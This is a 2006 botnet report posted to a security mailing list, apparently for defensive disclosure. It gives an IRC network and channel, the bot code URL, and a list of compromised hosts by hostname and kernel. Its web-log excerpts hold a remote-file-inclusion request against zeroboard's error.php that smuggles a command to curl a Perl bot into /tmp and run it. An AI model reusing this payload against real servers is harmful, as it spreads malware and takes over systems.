To report a botnet PRIVATELY please email: [EMAIL PROTECTED]
----------
Bot code: http://phpsmtp.bizland.com/nn
Network: us.undernet.net
Channel: #comod
Spread by: 220.132.120.231 - - [12/Mar/2006:05:56:30 -0500] "GET
//bbs/skin/zero_vote/error.php?dir=http://www.phpsmtp.bizland.com/cmd2.gif?&cmd=cd%20/tmp;curl%20-O%20http://phpsmtp.bizland.com/nn;perl%20nn
HTTP/1.1" 404 227
220.132.120.231 - - [12/Mar/2006:05:56:31 -0500] "GET
/board/skin/zero_vote/error.php?dir=http://www.phpsmtp.bizland.com/cmd2.gif?&cmd=cd%20/tmp;curl%20-O%20http://phpsmtp.bizland.com/nn;perl%20nn
HTTP/1.1" 404 228
220.132.120.231 - - [12/Mar/2006:05:56:31 -0500] "GET
/zboard/skin/zero_vote/error.php?dir=http://www.phpsmtp.bizland.com/cmd2.gif?&cmd=cd%20/tmp;curl%20-O%20http://phpsmtp.bizland.com/nn;perl%20nn
HTTP/1.1" 404 229
220.132.120.231 - - [12/Mar/2006:05:56:32 -0500] "GET
/zeroboard/bbs/skin/zero_vote/error.php?dir=http://www.phpsmtp.bizland.com/cmd2.gif?&cmd=cd%20/tmp;curl%20-O%20http://phpsmtp.bizland.com/nn;perl%20nn
HTTP/1.1" 404 236
Channel list:
16:14 -!- #comod xhinoo4814 H 3 [EMAIL PROTECTED] [Linux dor
2.4.20-8smp #1 SMP Thu Mar 13 17:45:54 E]
16:14 -!- #comod comod Hx 3 [EMAIL PROTECTED] [shobo]
16:14 -!- #comod xhinoo5559 H 3 [EMAIL PROTECTED] [Linux dor
2.4.20-8smp #1 SMP Thu Mar 13 17:45:54 E]
16:14 -!- #comod xhinoo8914 H 3 [EMAIL PROTECTED] [Linux dor
2.4.20-8smp #1 SMP Thu Mar 13 17:45:54 E]
16:14 -!- #comod xhinoo4047 H 3 [EMAIL PROTECTED]
[Linux skipper.frogspace.net 2.4.29-rc1 #2 SMP Fri ]
16:14 -!- #comod xhinoo9849 H@ 3 [EMAIL PROTECTED]
[Linux smbmarketinggroup.com 2.4.20-021stab022.11.7]
16:14 -!- #comod xhinoo2249 H 3 [EMAIL PROTECTED] [Linux
38-146.iicinternet.com 2.4.24 #6 SMP Wed Jan]
16:14 -!- #comod xhinoo4782 H 3 [EMAIL PROTECTED] [Linux
ds10 2.4.20-30.7.legacy #1 Fri Feb 20 10:46:]
16:14 -!- #comod xhinoo3021 H 3 [EMAIL PROTECTED] [Linux
ns.shame.co.kr 2.6.9-5.EL #1 Wed Jan 5 19:22]
16:14 -!- #comod xhinoo5551 H 3 [EMAIL PROTECTED] [Linux
localhost.localdomain 2.4.20-7 #1 ╕± 4┐∙ 10 ]
16:14 -!- #comod xhinoo7880 H 3 [EMAIL PROTECTED] [Linux
aiquiz.com 2.4.27-pre6 #1 SMP 2004. 06. 17. ]
16:14 -!- #comod xhinoo7339 H 3 [EMAIL PROTECTED] [Linux
medigate.biz 2.4.20-8 #1 ╝÷ 4┐∙ 16 22:44:09 ]
16:14 -!- #comod xhinoo5592 H 3 [EMAIL PROTECTED] [Linux
ns.way21.co.kr 2.4.26 #1 SMP 2004. 04. 17. (]
16:14 -!- #comod xhinoo H@ 3 [EMAIL PROTECTED] [Linux
ns.anhung.co.kr 2.4.20-8 #1 Thu Mar 13 17:54]
16:14 -!- #comod xhinoo6002 H@ 3 [EMAIL PROTECTED] [Linux
antioch.samandsusan.net 2.6.8.1-12mdk #1 Fri]
16:14 -!- #comod xhinoo2989 H@ 3 [EMAIL PROTECTED]
[Linux antioch.samandsusan.net 2.6.8.1-12mdk #1 Fri]
16:14 -!- #comod `xhinoo H@ 3 [EMAIL PROTECTED] [Linux
localhost.localdomain 2.4.20-31.9 #1 Tue Apr]
16:14 -!- #comod xhinoo299 H@ 3 [EMAIL PROTECTED] [Linux
board14.dcinside.com 2.4.26 #1 2004. 04. 27.]
16:14 -!- #comod xhinoo1481 H@ 3 [EMAIL PROTECTED] [Linux
moran.cy-gate.com 2.4.20-28.9BOOT #1 Thu Dec]
16:14 -!- #comod `xhinoo433 H@ 3 [EMAIL PROTECTED] [Linux
moran.cy-gate.com 2.4.20-28.9BOOT #1 Thu Dec]
16:14 -!- #comod `xhinoo1641 H@ 3 [EMAIL PROTECTED] [Linux
SUNGCOM 2.4.18-4smp #1 SMP Thu Aug 22 17:42:]
16:14 -!- #comod `xhinoo8774 H@ 3 [EMAIL PROTECTED] [Linux
SUNGCOM 2.4.18-4smp #1 SMP Thu Aug 22 17:42:]
16:14 -!- #comod xhinoo2818 H@ 3 [EMAIL PROTECTED] [FreeBSD
nekida.com 5.3-RELEASE FreeBSD 5.3-RELEASE]
16:14 -!- #comod `xhinoo8892 H@ 3 [EMAIL PROTECTED] [Linux
localhost.localdomain 2.4.20-31.9smp #1 SMP ]
16:14 -!- #comod xhinoo9922 H@ 3 [EMAIL PROTECTED] [Linux
home.softeleware.com 2.6.5-1.358 #1 Sat May ]
16:14 -!- #comod xhinoo3749 H@ 3 [EMAIL PROTECTED] [Linux
localhost 2.4.18-XFS-1 #1 SMP Thu Mar 7 09:4]
16:14 -!- #comod xhinoo424 H@ 3 [EMAIL PROTECTED] [Linux
home.softeleware.com 2.6.5-1.358 #1 Sat May ]
16:14 -!- #comod xhinoo2115 H@ 3 [EMAIL PROTECTED] [Linux
localhost.localdomain 2.4.18-4 #1 SMP Thu Au]
16:14 -!- #comod `xhinoo9916 H@ 3 [EMAIL PROTECTED] [Linux
sansung.or.kr 2.4.25 #2 Thu Feb 19 16:56:21 ]
16:14 -!- #comod TCommander [EMAIL PROTECTED] 3
[EMAIL PROTECTED] [Total Commander ]
_______________________________________________
To report a botnet PRIVATELY please email: [EMAIL PROTECTED]
All list and server information are public and available to law enforcement
upon request.
http://www.whitestar.linuxbox.org/mailman/listinfo/botnets
